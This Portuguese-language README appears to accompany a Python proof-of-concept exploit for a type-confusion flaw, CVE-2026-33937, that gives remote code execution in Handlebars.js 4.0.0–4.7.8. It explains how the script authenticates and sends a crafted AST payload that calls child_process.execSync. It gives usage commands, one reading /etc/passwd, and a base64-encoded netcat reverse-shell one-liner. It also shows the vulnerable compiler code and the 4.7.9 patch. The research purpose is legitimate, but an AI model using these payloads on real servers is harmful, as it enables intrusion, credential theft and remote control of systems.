
POC em Python, Exploit para RCE por injeção de AST no Handlebars.js, as versões 4.0.0 a 4.7.8 do Handlebars.js são afetadas. Pontuação CVSS: 9.8 Crítico.
As versões 4.0.0 a 4.7.8 do Handlebars.js são afetadas. Pontuação CVSS: 9,8 (Crítico).
CVE-2026-33937 é uma vulnerabilidade de confusão de tipos no Handlebars.js. A função Handlebars.compile() aceita tanto uma string de template quanto um objeto AST pré-analisado como entrada. Quando um atacante envia um objeto AST manipulado, o visitor NumberLiteral do compilador insere o campo value do nó literalmente no corpo da função JavaScript gerada, sem qualquer sanitização. Chamar render() no resultado executa código controlado pelo atacante dentro do processo Node.js.
python3 exploit.py --url <target> --username <email> --password <pass> --command <cmd>
Argumentos
--urlhttp://hello.veer/--username — Endereço de e-mail de login (obrigatório)--password — Senha de login (obrigatória)--command — Comando do sistema operacional a executar; o padrão é id (opcional)Exemplos
# Verify RCE
python3 exploit.py --url http://hello.veer/ --username cognito@veer --password 'P@ssw0rd@123' --command id
# Read a file
python3 exploit.py --url http://hello.veer/ --username cognito@veer --password 'P@ssw0rd@123' --command 'cat /etc/passwd'
# To get reverse shell
echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc <listener_ip> 4444 >/tmp/f' | base64 -w 0
python3 exploit.py --url 'http://hello.veer/' --username 'cognito@veer' --password 'P@ssw0rd@123' --command 'echo <base64_payload> | base64 -d | bash'
O script realiza um login completo antes de explorar a vulnerabilidade. Primeiro, ele envia uma requisição GET para /login para extrair o token _csrf oculto do formulário e, em seguida, envia esse token juntamente com o e-mail e a senha fornecidos por meio de um POST codificado como formulário para /login. Em caso de sucesso, o servidor retorna um redirecionamento 302 para /dashboard e define o cookie de sessão dz.sid, que é usado em todas as requisições subsequentes.
Um novo token CSRF é obtido automaticamente antes de cada requisição POST, pois o middleware de CSRF do aplicativo exige um token em toda operação de mutação.
O aplicativo expõe POST /character, que aceita Content-Type: application/json. Essa rota cria um novo personagem de D&D e, quando campaign_id é fornecido, passa o campo campaign_message diretamente para Handlebars.compile() no servidor:
// Server-side Node.js (vulnerable)
const render = Handlebars.compile(campaign_message); // no type check
const output = render({ name, race, class }); // payload executes here
// output is stored as a campaign log entry
Quando o corpo da requisição é JSON, campaign_message pode ser um objeto aninhado (o AST) em vez de uma string, contornando qualquer validação de string na camada de formulário. O campo campaign_id faz com que o servidor armazene o resultado renderizado como uma mensagem de log da campanha, que pode então ser lida em GET /campaign/1 — fornecendo ao atacante uma saída de comando fora de banda.
O exploit usa o NumberLiteral combinado com o helper lookup.
A compilação normal de {{lookup this 1}} produz:
env.helpers.lookup(this, 1, {options})
O NumberLiteral.value injetado substitui o 1 por:
{},{})) + process.mainModule.require('child_process').execSync('cmd').toString() //
O JavaScript gerado se torna:
env.helpers.lookup(this, {},{}))
+ process.mainModule.require('child_process').execSync('cmd').toString()
// <remainder of expression is commented out>
Quando render() é chamado, execSync() é disparado e seu stdout é retornado como o valor da expressão, que é armazenado como a mensagem da campanha.
Os comandos são internamente envolvidos como /bin/sh -c 'cmd 2>&1' para que comandos com espaços, pipes e redirecionamentos funcionem corretamente e o stderr seja capturado juntamente com o stdout.
O script registra o número de mensagens da campanha antes de enviar o payload. Após o POST, ele busca /campaign/1 novamente e fatia messages[before_count:] para isolar a entrada recém-adicionada. Essa abordagem trata corretamente os casos em que o mesmo comando já foi executado antes, pois uma comparação baseada em conjunto deduplicaria saídas idênticas e deixaria passar o novo resultado.
No arquivo javascript-compiler.js do Handlebars.js, o código vulnerável é:
// Versions 4.0.0 – 4.7.8
NumberLiteral(number) {
this.pushStackLiteral(number.value); // value inserted verbatim, no type check
}
A versão 4.7.9 adiciona uma verificação de tipo no ponto de entrada de compile() que rejeita qualquer entrada que não seja uma string antes que o gerador de código seja sequer alcançado:
// Patched in 4.7.9
if (typeof input !== 'string') {
throw new Handlebars.Exception(
'You must pass a string or Handlebars AST to Handlebars.compile.'
);
}
Este repositório destina-se exclusivamente a pesquisa e educação em segurança. Use este exploit apenas contra sistemas que você possua ou para os quais tenha autorização explícita e por escrito para realizar testes.